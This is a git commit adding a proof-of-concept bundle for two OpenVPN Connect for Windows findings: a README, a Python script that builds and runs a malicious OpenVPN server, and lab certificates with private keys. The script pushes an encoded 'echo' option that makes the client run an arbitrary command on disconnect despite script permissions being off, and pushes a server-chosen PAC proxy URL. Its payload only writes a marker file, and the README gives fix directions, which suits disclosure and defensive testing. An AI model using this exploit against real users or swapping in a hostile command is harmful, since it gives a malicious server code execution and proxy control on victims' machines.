Add exploitarium archive

This commit is contained in:
ashton
2026-06-23 00:13:35 -05:00
commit b5d099261a
99 changed files with 5715 additions and 0 deletions

View File

@@ -0,0 +1,8 @@
runtime/
*.log
*.status
*.stdout.txt
*.stderr.txt
__pycache__/
.venv/
venv/

View File

@@ -0,0 +1,239 @@
# OpenVPN Connect Server-Pushed Option Findings PoC
Benign proof of concept bundle for two locally verified OpenVPN Connect for Windows behaviors reachable from a malicious VPN server after a victim imports and connects to an `.ovpn` profile.
This repository is intentionally marker-only. It does not use PowerShell, pop calc, install persistence, read credentials, modify protected files, or start a reverse shell.
## Findings
### Finding 1: Echo Script Permission Bypass to Current-User ACE
A malicious OpenVPN server can push an `echo` option that decodes into `script.win.user.disconnect`. OpenVPN Connect later executes that command on disconnect even though the imported profile's script permission state remains unset or false.
Server primitive:
```text
push "echo 0:0:<base64(script.win.user.disconnect)>.<base64(command)>"
```
Verified impact:
- Current-user arbitrary command execution on VPN disconnect.
- Import alone is not enough. The client must connect, receive the pushed `echo` value, and then disconnect.
- The default payload writes `%TEMP%\openvpn_connect_echo_script_ace_marker.txt`.
Observed permission state during local verification:
```text
scriptsPermissionGranted=false
scriptsPermissionLocked=false
```
### Finding 2: Server-Pushed PAC Auto-Config State Control
A malicious OpenVPN server can push `dhcp-option PROXY_AUTO_CONFIG_URL`. OpenVPN Connect passes the pushed PAC URL through the privileged `/tun-setup` path, and the LocalSystem agent applies the proxy action by impersonating the current user. During the VPN session, HKCU Internet Settings receives the server-controlled `AutoConfigURL`; OpenVPN Connect clears it on disconnect.
Server primitive:
```text
push "dhcp-option PROXY_AUTO_CONFIG_URL http://127.0.0.1:18080/openvpn-connect-ace.pac"
```
Verified impact:
- Server-controlled PAC URL is applied while connected.
- The state change is transient and is cleaned up on disconnect in the tested build.
- This is not a SYSTEM shell. It is a separate server-controlled client state modification through the privileged OpenVPN Connect helper path.
Registry state observed in local verification:
```text
Before connect: AutoConfigURL=null, ProxyEnable=0
During connect: AutoConfigURL=http://127.0.0.1:18080/codex-openvpn-connect.pac, ProxyEnable=0
After disconnect: AutoConfigURL=null, ProxyEnable=0
```
Relevant log indicators:
```text
0 [dhcp-option] [PROXY_AUTO_CONFIG_URL] [http://127.0.0.1:18080/codex-openvpn-connect.pac]
/tun-setup proxy_auto_config_url.url=http://127.0.0.1:18080/codex-openvpn-connect.pac
ProxyAction: auto config: http://127.0.0.1:18080/codex-openvpn-connect.pac
```
## Tested Target
- OpenVPN Connect for Windows `3.8.0 (4528)`
- OpenVPN core `3.11.3`
- Windows desktop target
Follow-up local checks also showed that code running as the current user inside the genuine `OpenVPNConnect.exe` process can reach LocalSystem helper/agent named-pipe handlers that reject arbitrary external clients. That is useful escalation context for impact analysis, but it is not presented here as standalone SYSTEM RCE.
## Repository Layout
```text
.
|-- README.md
|-- poc.py
|-- certs/
| |-- ca.crt
| |-- server.crt
| |-- server.key
| |-- client.crt
| `-- client.key
`-- runtime/
```
`runtime/` is generated locally and git-ignored. The certificates are throwaway lab material only. Do not reuse them for a real VPN.
## Requirements
- Python 3.9+
- OpenVPN 2.x community binary for the local test server
- OpenVPN Connect installed on the Windows target
The PoC uses Python and `cmd.exe` only. There is no `.ps1` runner.
If `openvpn.exe` is not on `PATH`, pass it explicitly:
```cmd
python poc.py --mode server --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe"
```
## Quick Start
Build the echo-script ACE configs:
```cmd
python poc.py --mode build --finding echo-script
```
Build the PAC auto-config configs:
```cmd
python poc.py --mode build --finding proxy-auto-config
```
Generated files are written under `runtime/`. The client `.ovpn` file is the profile to import into OpenVPN Connect. The server `.ovpn` file is used by the local malicious OpenVPN 2.x test server.
## Manual Reproduction: Echo Script ACE
Start the local malicious server:
```cmd
python poc.py --mode server --finding echo-script --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe"
```
Then:
1. Import `runtime\client_echo_script_poc.ovpn` into OpenVPN Connect.
2. Connect to the imported `127.0.0.1` profile.
3. Disconnect normally.
4. Check the marker path printed by `poc.py`.
Expected marker content:
```text
OPENVPN_CONNECT_ECHO_SCRIPT_ACE
```
## Manual Reproduction: PAC Auto-Config
Start the local malicious server:
```cmd
python poc.py --mode server --finding proxy-auto-config --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe"
```
Then:
1. Import `runtime\client_proxy_auto_config_poc.ovpn` into OpenVPN Connect.
2. Connect to the imported `127.0.0.1` profile.
3. While connected, inspect the PAC registry value:
```cmd
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL
```
4. Disconnect normally.
5. Query the same value again and confirm cleanup.
Expected during connection:
```text
AutoConfigURL REG_SZ http://127.0.0.1:18080/openvpn-connect-ace.pac
```
Expected after disconnect:
```text
ERROR: The system was unable to find the specified registry key or value.
```
## Automated Local Reproduction
Echo-script ACE:
```cmd
python poc.py --mode auto --finding echo-script --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe"
```
PAC auto-config:
```cmd
python poc.py --mode auto --finding proxy-auto-config --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe"
```
If OpenVPN Connect is installed elsewhere:
```cmd
python poc.py --mode auto --finding echo-script --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe" --connect "C:\Program Files\OpenVPN Connect\OpenVPNConnect.exe"
```
`auto` mode imports a disposable profile, connects, captures the relevant marker or proxy state, disconnects, removes the profile, and quits the test-launched Connect process.
## Evidence To Capture
For Finding 1:
- Generated `runtime\server.ovpn` push line containing `echo 0:0:`.
- OpenVPN Connect log line showing `0 [echo] [0:0:...]`.
- Marker file `%TEMP%\openvpn_connect_echo_script_ace_marker.txt`.
- Profile state showing script permissions unset or false.
For Finding 2:
- Generated `runtime\server.ovpn` push line containing `dhcp-option PROXY_AUTO_CONFIG_URL`.
- OpenVPN Connect log line showing `0 [dhcp-option] [PROXY_AUTO_CONFIG_URL]`.
- `/tun-setup` log data containing `proxy_auto_config_url.url`.
- Agent log line showing `ProxyAction: auto config`.
- HKCU Internet Settings `AutoConfigURL` before connect, during connect, and after disconnect.
## Limits
This PoC does not prove SYSTEM RCE, silent local privilege escalation, persistence, credential access, arbitrary protected-file write, service tampering, or reverse shell execution.
Finding 1 proves current-user command execution from a malicious server-controlled option on disconnect.
Finding 2 proves server-controlled PAC state while connected. Depending on product design and user consent expectations, this may be treated as intended VPN server functionality, a missing visibility/consent issue, or an abuse primitive that matters when chained with the trusted-client helper boundary.
## Fix Direction
For Finding 1:
- Do not execute decoded `script.*` echo data unless the corresponding profile script permission flag is explicitly granted.
- Treat server-pushed script-bearing `echo` data as executable configuration.
- Prompt before enabling or running any script received from a VPN server.
- Reject or ignore pushed script keys when profile policy disallows scripts.
- Add regression coverage for `script.win.user.disconnect` where `scriptsPermissionGranted=false`.
For Finding 2:
- Make server-pushed proxy/PAC state visible before or during connection.
- Provide policy controls to reject server-pushed proxy configuration from untrusted profiles.
- Ensure cleanup is reliable across disconnect, crash, reconnect, sleep, and agent restart cases.
- Log the origin of the server-pushed PAC URL clearly enough for incident review.
## Responsible Use
Use this only on systems you own or are explicitly authorized to test. Keep public demonstrations benign.

View File

@@ -0,0 +1,19 @@
-----BEGIN CERTIFICATE-----
MIIC/TCCAeWgAwIBAgIULMHki/fh5wvSQTgjhs+lY/G1pvUwDQYJKoZIhvcNAQEL
BQAwJjEkMCIGA1UEAwwbQ29kZXggTG9jYWwgT3BlblZQTiBUZXN0IENBMB4XDTI2
MDYxNjA4NDE0NloXDTI2MDcxNzA4NDE0NlowJjEkMCIGA1UEAwwbQ29kZXggTG9j
YWwgT3BlblZQTiBUZXN0IENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEA8+dLm5olw+BdyRJJhq3p3vhXUgPYTIMZmOjNC0gqyHhFmsNwI3gWryCeqE6U
jho5+oSV3mkxnn1DHA0sIul3VCosv1ZP2YG6hMUi9xk55vpOr0dgOz6Z8vE7B938
SCoM2wjy28i5pySIKIMJieVAPSGsiZl1X/LmTaIVszk8QUe7CnKmWBcz4HMqmSza
m0kYH2K+wv4EOTVuQNqFGTRGunZb0j5HkOBpjV/QSn6SoRnfq7PfkfGbDANTKtLO
Ju5ac8GD414TWssZnWG4eIGa1wxa0RXzRt3rDCNG5Ytlfuje1e96/Yp6g8QpfQou
tXm9LgQknlLc+apDGFHVFwghawIDAQABoyMwITAPBgNVHRMBAf8EBTADAQH/MA4G
A1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQsFAAOCAQEAR0bte2XKvL1qgWcCrP6K
Shs0XFwQ8+IyvZfFL1/Dlei9mMbAW8jb2QGyngFgp68gpl7UaEyhV5toWTzg+uiM
mFeQVtgmIv9o6Hb0C+/4VZQbUjYPjtGJ1WFtL5IEgOmOTD7km+z02keS7jKmXjQ/
qk0mQ6u8H3f3DVNEOE0g/gtGjWnYDJ8GsNjnz1+XDMVlHNFH6seS93SZq8/Bk8Zx
HsRZA3uyjAcxbugGDkp9YPq2BK0e2KyUdD+De+VWL9zFRGqA3blrdvnQl6BEQv2p
m/VBQQOl622XT1GraYwHdR8rSsSTCmXUXJawDpmBUs0nv5XhBmgLoFwOQ0iInM2Y
sA==
-----END CERTIFICATE-----

View File

@@ -0,0 +1,19 @@
-----BEGIN CERTIFICATE-----
MIIDDjCCAfagAwIBAgIUKSx9pC2Z8EgRhgA3Yl4ImxJH/88wDQYJKoZIhvcNAQEL
BQAwJjEkMCIGA1UEAwwbQ29kZXggTG9jYWwgT3BlblZQTiBUZXN0IENBMB4XDTI2
MDYxNjA4NDE0NloXDTI2MDcxNzA4NDE0NlowJTEjMCEGA1UEAwwaY29kZXgtbG9j
YWwtb3BlbnZwbi1jbGllbnQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDHEQV+HpmSoaW/cormZPzflv+3TmDsms8Y3S+iklBOhlG0HOVsuFG9hQl6mAS/
gIAC8ZXbtRuq5sQ+rJcnUDQx1CL6v+XCTtoWcptvtBNKQzKCE1ofDsEKVXwTqW5x
wDan784HEDm1gg2cszSrYStjbc4eFEnmnL10CoIpf7yPHH+CsN2FwJQLXTPbCxgh
9gsRUSt4IjN5P5HcUmrPUyE3TFKxZMUTQdrOcfnxLF2vkzu3xb17iMJbEeEv7S18
IUurNBblTbM+fAK1sT68rlqPApLdUzE0+Mq/M2hsxAps/aWf4okUuzNiN7ENtJnu
i76qCG2IMPB0mR0+xehC54uRAgMBAAGjNTAzMAwGA1UdEwEB/wQCMAAwDgYDVR0P
AQH/BAQDAgOoMBMGA1UdJQQMMAoGCCsGAQUFBwMCMA0GCSqGSIb3DQEBCwUAA4IB
AQDiWlpfHW0n5DX/cHkX+WIKrfWD6VHtmXLzUSaUdej9KlkgIQJWwfsvSAAGLiv2
hpqIys/51d4eA7KSozaGmWgCjnQPOIVVeAH+6TUUF/xk9hHTxa/yNlseGveQlDa5
aboSwuf0uyx875Lyma8wVCPdsXgAQFcYAUyBuh1U8juBGktMigDTvFL6+Jl5T42K
/YGxYKyxXLkefL2ReeLC7JmACDpMfBUftXEg0fj99Z6vL4RVUB7N76gnEC//1vvH
TP61XG1WKmVOPm0AKzoUqy02ZFoN8StileVn24qvV0Tidyc+jezKZ+mtOivYe/sX
xqNL/D9/f2/nzzD+xaoyL1r4
-----END CERTIFICATE-----

View File

@@ -0,0 +1,27 @@
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAxxEFfh6ZkqGlv3KK5mT835b/t05g7JrPGN0vopJQToZRtBzl
bLhRvYUJepgEv4CAAvGV27UbqubEPqyXJ1A0MdQi+r/lwk7aFnKbb7QTSkMyghNa
Hw7BClV8E6luccA2p+/OBxA5tYINnLM0q2ErY23OHhRJ5py9dAqCKX+8jxx/grDd
hcCUC10z2wsYIfYLEVEreCIzeT+R3FJqz1MhN0xSsWTFE0HaznH58Sxdr5M7t8W9
e4jCWxHhL+0tfCFLqzQW5U2zPnwCtbE+vK5ajwKS3VMxNPjKvzNobMQKbP2ln+KJ
FLszYjexDbSZ7ou+qghtiDDwdJkdPsXoQueLkQIDAQABAoIBAARwD7RJEFlheyVy
c0BBnhWJ8zdt6uE7bkR6odY49stZWTbvsfmjfkcAUT7HZsuyHKh0JEgamHxN2rAe
/tukgRVfSkxWvNOBGIGJmod59zgfmV+m+MpadNk7IKH7k/e7Njy2Ltyfcvnl5VHJ
+PGdH+9+girPfvpCIkMU/OPZ8iUqjlrqx3ZO7iyv6EbJJSoKL6HN7HTUbC8ceZPP
LrareHSL4VCcbWGs/cPfj2rc0IN7cNQDQG7kCkAwQAADxPskzUmYkCIgc2iKX1uB
uexsPMGl0bTYWGbQ0/STo81OPkn/zYxlRXC689iqTI9rYiaALLoknnrOK4g06/a6
H/M+HUUCgYEA+h+8vOv4mmIxixCscvEfxXN494AxUhGpHCPHf7Wbzs2DlDQAMsV6
SzdzGA7DSlEu/9pUtzib0AoxCYJ3vO9mkIKrYHRPt421Ip90M59ojMLKJ7uCPsor
joL8LxfQKPuRbc4IKdyqtqycXr0mquGdTVRtzTp7ax1eNCjBDqK45PsCgYEAy744
kqe67JYOlCsEw9KBhZMPAH8PBC4srhe7A06Z3NYDSu6hubX4uJ2Y2hm9d4tBqR/W
OZOexcT2iXtisQv6nJmUJkmj0zc1+/fpCVYEPUJlCcRp33cG7HAnCYFzg3s4FL2P
Dhc6nV4lLp5c8mZpwmgd7xRMJy4mB3YGe9E7s+MCgYEAp/Yx/seTDNENpe4Pb6w+
ApDVVZaPCCZ14kCgkkD5HPli912oGHAF/IaC0k/vknNL1WHe656m+yAs587l60j0
HeyxercAZSlSzqo3FQdh5MxVhjLjdpi6gRuyj0k1bp/oe80ULFBTjxIAe5oXYj7Z
K/mbNmqkQDzbarlHUzWwZYsCgYAq9S6EbW0SGQl14CQfDbFVco5FMoT+AqZVBpfd
uKLkVxNWpz3eJCoO8tuZkLfMDsaHXDkU5rUhScgZcLR8U+RBRHhiIkCydf+h4sF1
wHcgW3FmP8162mPRUkxIysyKOl62sMkK1Yb8Sy9Xxvgd+83suXsmP4dW83n9NLtl
O9Z0tQKBgBEcFB/ihPTnK84PRG2hgj9UZeedBz/YLmXka+IL5Inro2YExz4guJbF
lIOC8FHPu0Jtn88jv2fHELbAzH7s0wo57qitn3SAbGT4qZO1xWf+b1LBILEG+h1m
kFg2nnS5GHlSpvlKaQP8mWBz72B/K1upuglDsh5rCKEoEHI59kQP
-----END RSA PRIVATE KEY-----

View File

@@ -0,0 +1,19 @@
-----BEGIN CERTIFICATE-----
MIIDDjCCAfagAwIBAgIUDV31jStGllh34UCOwjGtHKPy+9QwDQYJKoZIhvcNAQEL
BQAwJjEkMCIGA1UEAwwbQ29kZXggTG9jYWwgT3BlblZQTiBUZXN0IENBMB4XDTI2
MDYxNjA4NDE0NloXDTI2MDcxNzA4NDE0NlowJTEjMCEGA1UEAwwaY29kZXgtbG9j
YWwtb3BlbnZwbi1zZXJ2ZXIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDKpJwEdvRy2/iFI4hTp+Hx5VDhzvKvM4sZb+QWHhabFab/N6vcykrFRuUDmoKW
Hff6l3pP44fpvYctPdbZ8B+Aov0cOyKwjcPY7Xqaa337ZutwrHlxFclRcOX5eaKG
3IxLybd8MJvrWmaJVOvVimgfJyWoN9NctnKLwmobgWV5GYXeTOrNBRI8ccTUf/M0
hDtWhl4Grh3DSQQ+99+i6FCRWI+JOQFnSEo0Vyi+ZaLDKvu1tSkqhcikyovpPuYF
+onl6CWSt383LsMhzhKG8NDrB3/1r05X0UKnClNkIzMa2hxikM4qyzZ82OH9IDcm
ipj2AQvb91/40HdB/mTZUoWpAgMBAAGjNTAzMAwGA1UdEwEB/wQCMAAwDgYDVR0P
AQH/BAQDAgOoMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA0GCSqGSIb3DQEBCwUAA4IB
AQBdOfjQ+F6NG3T6jHqkdtTCTCz31p7SPRoRlpIaVn+0g3cGdsWaUh3sX81VWKKg
H+nfM6UYJFu9HtokM0hocC4jWPqR7RyRaNO9mgj/PUCbQlwwTqxRE5SwuNQ2O0O6
v8f+i6mRLLC7VqYWWeqBdcVmKmeyvVMwmQ0EohZ0Aj02B0lMoSdLP/w/KEGNpNt+
AanChD5xSB6jx2mnUcT9NzuzbFjkpRUQpiBKE+OBywpZwpeWuA1kmWUgCUKL57Wz
2w8NqQv/elONmXuD0wk6TkxgAqRvH7+QgOV0oLYEfE3e8cUxkqK4zVEPV05hwG4K
Dl9W0pKsg/qPc7SRKKugUHYk
-----END CERTIFICATE-----

View File

@@ -0,0 +1,27 @@
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAyqScBHb0ctv4hSOIU6fh8eVQ4c7yrzOLGW/kFh4WmxWm/zer
3MpKxUblA5qClh33+pd6T+OH6b2HLT3W2fAfgKL9HDsisI3D2O16mmt9+2brcKx5
cRXJUXDl+XmihtyMS8m3fDCb61pmiVTr1YpoHyclqDfTXLZyi8JqG4FleRmF3kzq
zQUSPHHE1H/zNIQ7VoZeBq4dw0kEPvffouhQkViPiTkBZ0hKNFcovmWiwyr7tbUp
KoXIpMqL6T7mBfqJ5eglkrd/Ny7DIc4ShvDQ6wd/9a9OV9FCpwpTZCMzGtocYpDO
Kss2fNjh/SA3JoqY9gEL2/df+NB3Qf5k2VKFqQIDAQABAoIBAAIc7bfBkZKLI5h5
Eb8NkKxPklpw16wIpLbhSvXg7B+h3EWbUsrQ5xQqD2XnRiBDBMoYkCefNM201Dik
98xY6hzc2ZbN+0NAPeoiNNjcakoysxAaIVrjrFHwBs1yujE6cI6YEVgLbsPwA7Gy
eq0p4ILNmKTSFUDdml8dOs4Dq9GEeuouDEUGKseC4X7MFM9V7DEZ+hkPUZOUDEz/
Bs68el3DFbaVijPPPlT82IETGVLr4LjSHXtfK6zUcL5x5fEMxk7sdxsUWuuWqPkT
8Vuqj+EdyKvH58lzbJQK+yZd6eKGhZa92W9UIFSAbWPw7G2MVCCkmJk8HXzkv/+l
KET+ZaECgYEA6YqF6/QsieDru2xthUvkFtszrvam5kg9YdPJs8v5HdZlvQklgzOP
utLuEOI0n10w9LfFhPIFmzKbo6sRzORaMk7Ogw2cWJnX6QL+uqNV9YDOKpH8rRaR
/Z7kMHjZyQTdoHSy3BuFDSOoDWGbG8byY6tolIokC7pQPBEaHIxHj5sCgYEA3iFq
WztN9ZbrPU2IzA6P1iOFYRv1Wgr/sSt4xf5mB+8qnpyrQKdtn56GRFTE20mHaROW
NkawU9qPFiqS7XBr5l9T8gesinr+Eyj0woFJ37cgX4dx4oVyUxypW1sJR9nlQSx1
7wQK0v280bWL6K7O8c/si7DoUBSm75FiqIAsrgsCgYEAt/ZOF9d3XgS2rCR1ARMO
0JJK2/+e6Lbu4yiZMe/yg/ZmncmeqwLqrReKP/Jv0TjvX1WDWX3rvJzYzMvscaFP
C2HYepM2HPTShtG9JfeTtpeHzzDAAPhOd6G5zhTkONyEV+iVG5zx6a+0qRXBwNeu
B6T19Ev8qOBSY351OxelJxECgYBRieCZtq5KXWjiquhxR1MjXwyh9fpdYDY12ehO
fbEEbpWtfYMbi5ohArb0tE1C1b3gI3F7YP1u+oaVs3EVubPR7+JHsOt0Neu4KsuV
7pGojndSucxjQ2sQ+S9tuoAwoNqXzvNHlqtGgh/itwqxkiGjABkrufe9Faelvy+A
/PPpuwKBgFTmzFs33q7DCzM/Ac4SsJCdV5HdTmMKMhHLeH8OuA3YbZNp4K39EeM3
DzuIYk/LNTqc1c5Lmh0FuhpmuC/SFJ7n+sAr5JVKbzEEEveitsTaa92iUR0bqlm+
0p9ZuKGYiBlE3ioSEPNV6AXVFQol6BWOEebT6jeGqpq0+1/CwtyV
-----END RSA PRIVATE KEY-----

View File

@@ -0,0 +1,363 @@
from __future__ import annotations
import argparse
import base64
import json
import os
import shutil
import signal
import subprocess
import sys
import tempfile
import time
from pathlib import Path
ROOT = Path(__file__).resolve().parent
CERT_DIR = ROOT / "certs"
RUNTIME_DIR = ROOT / "runtime"
DEFAULT_PORT = 11940
DEFAULT_MARKER_NAME = "openvpn_connect_echo_script_ace_marker.txt"
PROFILE_NAME_PREFIX = "openvpn-connect-pushed-option-poc"
FINDING_ECHO_SCRIPT = "echo-script"
FINDING_PROXY_AUTO_CONFIG = "proxy-auto-config"
DEFAULT_PAC_URL = "http://127.0.0.1:18080/openvpn-connect-ace.pac"
def b64(text: str) -> str:
return base64.b64encode(text.encode("utf-8")).decode("ascii")
def ovpn_path(path: Path) -> str:
return str(path.resolve()).replace("\\", "/")
def read_text(path: Path) -> str:
return path.read_text(encoding="ascii")
def require_file(path: Path) -> None:
if not path.is_file():
raise FileNotFoundError(f"Required file is missing: {path}")
def default_marker_path() -> Path:
return Path(tempfile.gettempdir()) / DEFAULT_MARKER_NAME
def default_connect_exe() -> Path | None:
env = os.environ.get("OPENVPN_CONNECT_EXE")
if env:
return Path(env)
candidate = Path(r"C:\Program Files\OpenVPN Connect\OpenVPNConnect.exe")
return candidate if candidate.is_file() else None
def default_openvpn_exe() -> str | None:
env = os.environ.get("OPENVPN_EXE")
if env:
return env
found = shutil.which("openvpn.exe") or shutil.which("openvpn")
if found:
return found
candidate = Path(r"C:\Program Files\OpenVPN\bin\openvpn.exe")
return str(candidate) if candidate.is_file() else None
def build_payload_command(marker: Path) -> str:
marker_text = str(marker)
if '"' in marker_text:
raise ValueError("Marker path must not contain a double quote")
return f'cmd.exe /c echo OPENVPN_CONNECT_ECHO_SCRIPT_ACE>"{marker_text}"'
def build_server_config(port: int, finding: str, command: str, pac_url: str) -> str:
if finding == FINDING_ECHO_SCRIPT:
key = b64("script.win.user.disconnect")
value = b64(command)
pushes = [f'push "echo 0:0:{key}.{value}"']
else:
pushes = [f'push "dhcp-option PROXY_AUTO_CONFIG_URL {pac_url}"']
return "\n".join(
[
f"port {port}",
"proto tcp-server",
"dev null",
"mode server",
"tls-server",
f'ca "{ovpn_path(CERT_DIR / "ca.crt")}"',
f'cert "{ovpn_path(CERT_DIR / "server.crt")}"',
f'key "{ovpn_path(CERT_DIR / "server.key")}"',
"dh none",
"server 10.88.0.0 255.255.255.0",
"topology subnet",
"keepalive 1 3",
"duplicate-cn",
*pushes,
'push "ping 1"',
'push "ping-restart 3"',
"verb 4",
f'status "{ovpn_path(RUNTIME_DIR / "server.status")}"',
f'log "{ovpn_path(RUNTIME_DIR / "server.log")}"',
"",
]
)
def build_client_config(port: int) -> str:
return "\n".join(
[
"client",
"dev tun",
"proto tcp-client",
f"remote 127.0.0.1 {port}",
"nobind",
"persist-key",
"persist-tun",
"remote-cert-tls server",
"auth SHA256",
"cipher AES-256-GCM",
"data-ciphers AES-256-GCM:AES-128-GCM:CHACHA20-POLY1305",
"verb 4",
"connect-retry-max 1",
"resolv-retry 1",
"<ca>",
read_text(CERT_DIR / "ca.crt").strip(),
"</ca>",
"<cert>",
read_text(CERT_DIR / "client.crt").strip(),
"</cert>",
"<key>",
read_text(CERT_DIR / "client.key").strip(),
"</key>",
"",
]
)
def build_configs(port: int, marker: Path, finding: str, pac_url: str) -> tuple[Path, Path, str]:
for name in ["ca.crt", "server.crt", "server.key", "client.crt", "client.key"]:
require_file(CERT_DIR / name)
RUNTIME_DIR.mkdir(exist_ok=True)
command = build_payload_command(marker) if finding == FINDING_ECHO_SCRIPT else ""
server_config = RUNTIME_DIR / "server.ovpn"
client_config = RUNTIME_DIR / f"client_{finding.replace('-', '_')}_poc.ovpn"
server_config.write_text(build_server_config(port, finding, command, pac_url), encoding="ascii")
client_config.write_text(build_client_config(port), encoding="ascii")
detail = command if finding == FINDING_ECHO_SCRIPT else pac_url
return server_config, client_config, detail
def run(args: list[str], check: bool = False) -> subprocess.CompletedProcess[str]:
completed = subprocess.run(
args,
text=True,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
check=False,
)
if check and completed.returncode != 0:
raise RuntimeError(
f"Command failed with exit {completed.returncode}: {' '.join(args)}\n{completed.stdout}"
)
return completed
def start_server(openvpn_exe: str, server_config: Path) -> subprocess.Popen[bytes]:
stdout = open(RUNTIME_DIR / "server.stdout.txt", "wb")
stderr = open(RUNTIME_DIR / "server.stderr.txt", "wb")
proc = subprocess.Popen(
[openvpn_exe, "--config", str(server_config)],
cwd=str(RUNTIME_DIR),
stdout=stdout,
stderr=stderr,
)
time.sleep(2)
if proc.poll() is not None:
raise RuntimeError(
"OpenVPN server exited early. Check runtime/server.log and "
"runtime/server.stderr.txt for details."
)
return proc
def stop_process(proc: subprocess.Popen[bytes] | None) -> None:
if not proc or proc.poll() is not None:
return
if os.name == "nt":
proc.terminate()
else:
proc.send_signal(signal.SIGTERM)
try:
proc.wait(timeout=5)
except subprocess.TimeoutExpired:
proc.kill()
def connect_cli(connect_exe: Path, *args: str) -> subprocess.CompletedProcess[str]:
return run([str(connect_exe), *args])
def list_profiles(connect_exe: Path) -> list[dict]:
output = connect_cli(connect_exe, "--list-profiles").stdout.strip()
if not output:
return []
try:
data = json.loads(output)
return data if isinstance(data, list) else []
except json.JSONDecodeError:
return []
def import_profile(connect_exe: Path, client_config: Path, profile_name: str) -> str:
before = {item.get("id") for item in list_profiles(connect_exe)}
completed = connect_cli(
connect_exe,
f"--import-profile={client_config}",
f"--name={profile_name}",
)
text = completed.stdout.strip()
if text:
try:
parsed = json.loads(text)
profile_id = parsed.get("message", {}).get("id")
if profile_id:
return str(profile_id)
except json.JSONDecodeError:
pass
time.sleep(2)
for item in list_profiles(connect_exe):
if item.get("id") not in before and item.get("name") == profile_name:
return str(item["id"])
raise RuntimeError(f"Could not determine imported profile id. Import output:\n{text}")
def proxy_state() -> dict[str, object | None]:
if os.name != "nt":
return {}
import winreg
path = r"Software\Microsoft\Windows\CurrentVersion\Internet Settings"
names = ["AutoConfigURL", "ProxyEnable", "ProxyServer", "ProxyOverride"]
state: dict[str, object | None] = {}
with winreg.OpenKey(winreg.HKEY_CURRENT_USER, path) as key:
for name in names:
try:
state[name] = winreg.QueryValueEx(key, name)[0]
except FileNotFoundError:
state[name] = None
return state
def auto_mode(
openvpn_exe: str,
connect_exe: Path,
server_config: Path,
client_config: Path,
marker: Path,
finding: str,
) -> None:
if finding == FINDING_ECHO_SCRIPT and marker.exists():
marker.unlink()
server = None
profile_id = None
profile_name = f"{PROFILE_NAME_PREFIX}-{finding}-{int(time.time())}"
before_proxy = proxy_state() if finding == FINDING_PROXY_AUTO_CONFIG else {}
try:
connect_cli(connect_exe, "--quit")
time.sleep(2)
server = start_server(openvpn_exe, server_config)
profile_id = import_profile(connect_exe, client_config, profile_name)
connect_cli(connect_exe, f"--connect-shortcut={profile_id}", "--minimize")
print(f"[+] Imported profile id: {profile_id}")
print("[+] Waiting for connect and server-pushed option handling...")
time.sleep(16)
if finding == FINDING_PROXY_AUTO_CONFIG:
print("[+] Proxy state before connect:")
print(json.dumps(before_proxy, indent=2))
print("[+] Proxy state during connection:")
print(json.dumps(proxy_state(), indent=2))
connect_cli(connect_exe, "--disconnect-shortcut")
time.sleep(4)
if finding == FINDING_ECHO_SCRIPT and marker.is_file():
print(f"[+] Marker created: {marker}")
print(marker.read_text(encoding="utf-8", errors="replace").strip())
elif finding == FINDING_ECHO_SCRIPT:
print(f"[-] Marker was not created: {marker}")
print(" Check OpenVPN Connect logs and runtime/server.log.")
else:
print("[+] Proxy state after disconnect:")
print(json.dumps(proxy_state(), indent=2))
finally:
if profile_id:
connect_cli(connect_exe, f"--remove-profile={profile_id}")
connect_cli(connect_exe, "--quit")
stop_process(server)
def server_mode(openvpn_exe: str, server_config: Path, client_config: Path, marker: Path, finding: str, pac_url: str) -> None:
print(f"[+] Client profile: {client_config}")
if finding == FINDING_ECHO_SCRIPT:
print(f"[+] Marker path after disconnect: {marker}")
else:
print(f"[+] Pushed PAC URL: {pac_url}")
print("[+] Starting local malicious OpenVPN server. Press Ctrl+C to stop.")
server = start_server(openvpn_exe, server_config)
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print("\n[+] Stopping server...")
finally:
stop_process(server)
def main() -> int:
parser = argparse.ArgumentParser(
description="Benign OpenVPN Connect server-pushed option PoC without PowerShell."
)
parser.add_argument("--mode", choices=["build", "server", "auto"], default="build")
parser.add_argument("--finding", choices=[FINDING_ECHO_SCRIPT, FINDING_PROXY_AUTO_CONFIG], default=FINDING_ECHO_SCRIPT)
parser.add_argument("--port", type=int, default=DEFAULT_PORT)
parser.add_argument("--marker", type=Path, default=default_marker_path())
parser.add_argument("--pac-url", default=DEFAULT_PAC_URL)
parser.add_argument("--openvpn", default=default_openvpn_exe(), help="Path to OpenVPN 2.x openvpn executable")
parser.add_argument("--connect", type=Path, default=default_connect_exe(), help="Path to OpenVPNConnect.exe")
args = parser.parse_args()
server_config, client_config, detail = build_configs(args.port, args.marker, args.finding, args.pac_url)
print(f"[+] Wrote {server_config}")
print(f"[+] Wrote {client_config}")
if args.finding == FINDING_ECHO_SCRIPT:
print(f"[+] Pushed disconnect command: {detail}")
else:
print(f"[+] Pushed PAC URL: {detail}")
if args.mode == "build":
print("[+] Build-only mode complete.")
return 0
if not args.openvpn:
print("[-] Could not find OpenVPN 2.x. Pass --openvpn or set OPENVPN_EXE.", file=sys.stderr)
return 2
if args.mode == "server":
server_mode(args.openvpn, server_config, client_config, args.marker, args.finding, args.pac_url)
return 0
if not args.connect or not args.connect.is_file():
print("[-] Could not find OpenVPN Connect. Pass --connect or set OPENVPN_CONNECT_EXE.", file=sys.stderr)
return 2
auto_mode(args.openvpn, args.connect, server_config, client_config, args.marker, args.finding)
return 0
if __name__ == "__main__":
raise SystemExit(main())